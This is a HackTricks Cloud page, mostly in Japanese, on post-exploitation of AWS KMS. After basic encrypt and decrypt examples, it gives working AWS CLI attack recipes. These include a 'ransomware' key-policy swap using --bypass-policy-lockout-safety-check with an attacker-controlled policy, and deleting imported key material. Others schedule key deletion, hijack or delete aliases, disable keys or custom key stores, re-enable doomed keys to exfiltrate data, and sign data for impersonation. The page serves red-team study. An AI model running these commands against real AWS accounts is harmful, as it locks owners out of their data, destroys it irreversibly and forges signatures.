AWS - KMS Post Exploitation
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
KMS
詳細は以下を参照してください:
暗号化/復号に関する情報
fileb:// と file:// は、ローカルファイルへのパスを指定するために AWS CLI コマンドで使用される URI スキームです:
fileb://:はファイルをバイナリモードで読み込みます。非テキストファイルで一般的に使用されます。file://:はファイルをテキストモードで読み込みます。通常はプレーンテキスト、スクリプト、特別なエンコーディングが不要な JSON に使用されます。
Tip
ファイル内のデータを復号したい場合、ファイルは base64 エンコードされたデータではなくバイナリデータを含んでいる必要があります. (fileb://)
- 対称キーを使用する
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- 非対称鍵を使用する:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
KMS に対する特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、grant his account access over them して正当なアカウントに付与されていたアクセスを取り除くことができます。
すると、正当なアカウントのユーザーはそれらのキーで暗号化されたサービスの情報に一切アクセスできなくなり、アカウント全体を簡単かつ効果的に人質に取るランサムウェア的状態が発生します。
Warning
この攻撃は AWS managed keys aren’t affected には影響せず、影響を受けるのは Customer managed keys のみであることに注意してください。
また、パラメータ
--bypass-policy-lockout-safety-checkの使用が必要である点にも注意してください(Web コンソールにはこのオプションがないため、この攻撃は CLI からのみ実行可能になります)。
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
ポリシーを変更して外部アカウントにのみアクセスを付与した場合、その外部アカウントから元のアカウントにアクセスを戻すために新しいポリシーを設定しようとしても、アクセスを元のアカウントに戻すことはできません。なぜなら Put Polocy action cannot be performed from a cross account。
.png)
一般的な KMS Ransomware
グローバルな KMS Ransomware を実行する別の方法があり、以下の手順を含みます:
- 攻撃者がインポートした新しい key with a key material を作成する
- 被害者の、前のバージョンで暗号化された古いデータを新しいものでRe-encrypt older data
- Delete the KMS key
- こうすると、オリジナルの key material を持つ攻撃者だけが暗号化データを復号できるようになる
Delete Keys via kms:DeleteImportedKeyMaterial
With the kms:DeleteImportedKeyMaterial permission, an actor can delete the imported key material from CMKs with Origin=EXTERNAL (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
aws kms delete-imported-key-material --key-id <Key_ID>
キーを破壊する
キーを破壊すると、DoSを引き起こすことが可能です。
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
注意: AWS は現在 前述の操作が cross account から実行されることを防いでいます:
Alias を変更または削除
この攻撃は AWS KMS aliases を削除またはリダイレクトし、キーの解決を破壊してそれらの alias に依存するサービスで即座に障害を発生させ、denial-of-service を引き起こします。kms:DeleteAlias や kms:UpdateAlias のような権限があれば、攻撃者は alias を削除または再指向して暗号処理を妨害することができます(例: encrypt、describe)。key ID の代わりに alias を参照しているサービスは、alias が復元されるか正しく再マッピングされるまで失敗する可能性があります。
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
キー削除のキャンセル
kms:CancelKeyDeletion や kms:EnableKey のような権限があれば、攻撃者は AWS KMS の customer master key の予定された削除を取り消し、後で再有効化できます。これによりキーが回復され(初期状態は Disabled)、以前に保護されたデータを復号できるようになり、exfiltration を可能にします。
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Disable Key
kms:DisableKey の権限があれば、アクターは AWS KMS の customer master key (CMK) を無効化でき、これにより encryption や decryption に使用できなくなります。これにより当該 CMK に依存するサービスへのアクセスが遮断され、キーが再有効化されるまで即時の障害や denial-of-service を引き起こす可能性があります。
aws kms disable-key \
--key-id <key_id>
共有シークレットの導出
kms:DeriveSharedSecret 権限があれば、アクターは KMS が保有する private key とユーザー提供の public key を使って ECDH shared secret を計算できます。
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
kms:Sign によるなりすまし
kms:Sign の権限があれば、攻撃者は KMS に保存された CMK を使用して、private key を公開することなくデータに暗号学的署名を行い、有効な署名を生成してなりすましや悪意ある操作の承認に利用できます。
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
kms:DeleteCustomKeyStore、kms:DisconnectCustomKeyStore、または kms:UpdateCustomKeyStore のような権限があれば、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除して、マスターキーを使用不能にできます。
それにより、それらのキーに依存するサービスの暗号化、復号化、および署名の操作が機能しなくなり、即時の denial-of-service を引き起こす可能性があります。したがって、これらの権限を制限し、監視することが極めて重要です。
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

